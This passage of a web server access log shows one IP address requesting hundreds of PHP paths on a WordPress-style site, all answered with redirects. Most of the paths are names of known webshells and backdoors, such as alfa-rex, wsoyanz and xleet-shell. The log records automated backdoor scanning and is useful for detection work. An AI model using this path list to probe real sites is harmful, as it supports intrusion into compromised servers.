/wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:19 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:20 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:22 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:23 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:24 -0400] "GET /wp-content/sxx.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:25 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:26 -0400] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:26 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:27 -0400] "GET /wp-admin/css/colors/file.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:28 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:29 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:30 -0400] "GET /index.php?x=ooo HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:31 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:32 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:33 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:33 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:34 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:35 -0400] "GET /aks.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:36 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:37 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:38 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:38 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:39 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:40 -0400] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:41 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:41 -0400] "GET /include/Lurd.class.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:42 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:43 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:44 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:44 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:45 -0400] "GET /wp-content/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:46 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:48 -0400] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:48 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:49 -0400] "GET /abouts.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:50 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:51 -0400] "GET /widgets.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:52 -0400] "GET /alfa1.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:53 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:54 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:55 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:56 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:56 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:58 -0400] "GET /admin/uploads/worksec.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:59 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:00 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:02 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:03 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:04 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:06 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:08 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:09 -0400] "GET /wp-includes/css/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:12 -0400] "GET /.well-known/acme-challenge/gif.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:13 -0400] "GET /feedback.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:14 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:16 -0400] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:17 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:19 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:20 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:21 -0400] "GET /sxx.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:23 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:25 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:27 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:28 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:28 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:30 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:31 -0400] "GET /thumbs.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:33 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:34 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:35 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:36 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:37 -0400] "GET /wp-admin/css/colors/blue/blkqvmih.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:38 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:39 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:40 -0400] "GET /templates/hcapmaster_comps.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:41 -0400] "GET /.well-known/doc.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:41 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:42 -0400] "GET /alfa-ioxi.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:43 -0400] "GET /.well-known/acme-challenge/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:44 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:45 -0400] "GET /wp-admin/includes/xleet-shell.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:46 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:47 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:48 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:49 -0400] "GET /.well-known/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:50 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:51 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:52 -0400] "GET /.well-known/acme-challenge/fond.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:53 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:54 -0400] "GET /ALFA_DATA/alfacgiapi/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:55 -0400] "GET /wp-includes//wp-includes/admin-bar.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:56 -0400] "GET /dir.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:27:58 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:00 -0400] "GET /comdofuns.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:00 -0400] "GET /wp-includes/customize/class-wp-customize-new-menu-section-compiler.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:02 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:03 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:03 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:05 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:06 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:07 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:08 -0400] "GET /load.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:10 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:11 -0400] "GET /.well-known/wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:11 -0400] "GET /wp-content/plugins/index-ajax-response.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:12 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:13 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:14 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:15 -0400] "GET /.well-known/acme-challenge/index1.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:15 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:16 -0400] "GET /.well-known/acme-challenge/LA.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:17 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:18 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:19 -0400] "GET /.well-known/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:20 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:21 -0400] "GET /wp/wp-admin/includes/class-wp-filesystem-base.php.bak HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:21 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:22 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:23 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:24 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:25 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:26 -0400] "GET /.well-known/pki-validation/wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:27 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:28 -0400] "GET /form.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:29 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:30 -0400] "GET /wp-includes/block-patterns/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:31 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:31 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:32 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:33 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:34 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:34 -0400] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:35 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:36 -0400] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:37 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:37 -0400] "GET /ALFA_DATA/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:38 -0400] "GET /.well-known/pki-validation/x.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:39 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:39 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:40 -0400] "GET /source.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:40 -0400] "GET /wp-includes/hnkmhdbj.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:41 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:42 -0400] "GET /liefs.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:42 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:43 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:44 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:45 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:46 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:47 -0400] "GET /wp-includes/SimplePie/Exception-class.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:50 -0400] "GET /wp-admin/images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:52 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:53 -0400] "GET /.well-known/lofmebwd.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:55 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:57 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:28:59 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:00 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:03 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:04 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:05 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:08 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:10 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:11 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:12 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:14 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:29:14 -0400] "GET /wp-content/plugins/seoo/alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:18 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:23 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:25 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:28 -0400] "GET /wp-includes/rest-api/alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:31 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:32 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:34 -0400] "GET /index_.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:35 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:36 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:37 -0400] "GET /js/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:38 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:39 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:41 -0400] "GET /engine.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:41 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:42 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:43 -0400] "GET /class.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:45 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:46 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:47 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:48 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:49 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:50 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:51 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:53 -0400] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:53 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:54 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:55 -0400] "GET /xp.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:56 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:57 -0400] "GET /ccx/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:57 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:30:58 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:00 -0400] "GET /uploads/upload.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:00 -0400] "GET /vv.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:01 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:03 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:04 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:05 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:06 -0400] "GET /upload/duck.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:06 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:07 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:08 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:09 -0400] "GET /.well-known/acme-challenge/shimo.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:10 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:11 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:12 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:13 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:15 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:15 -0400] "GET /class-bulk-skin.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:16 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:17 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:18 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:19 -0400] "GET /dirs.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:20 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:20 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:22 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:22 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:23 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:23 -0400] "GET /home.php?xsec=team HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:24 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:25 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:25 -0400] "GET /wp-content/plugins/seoo/alfa-ioxi.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:26 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:27 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:31:28 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - 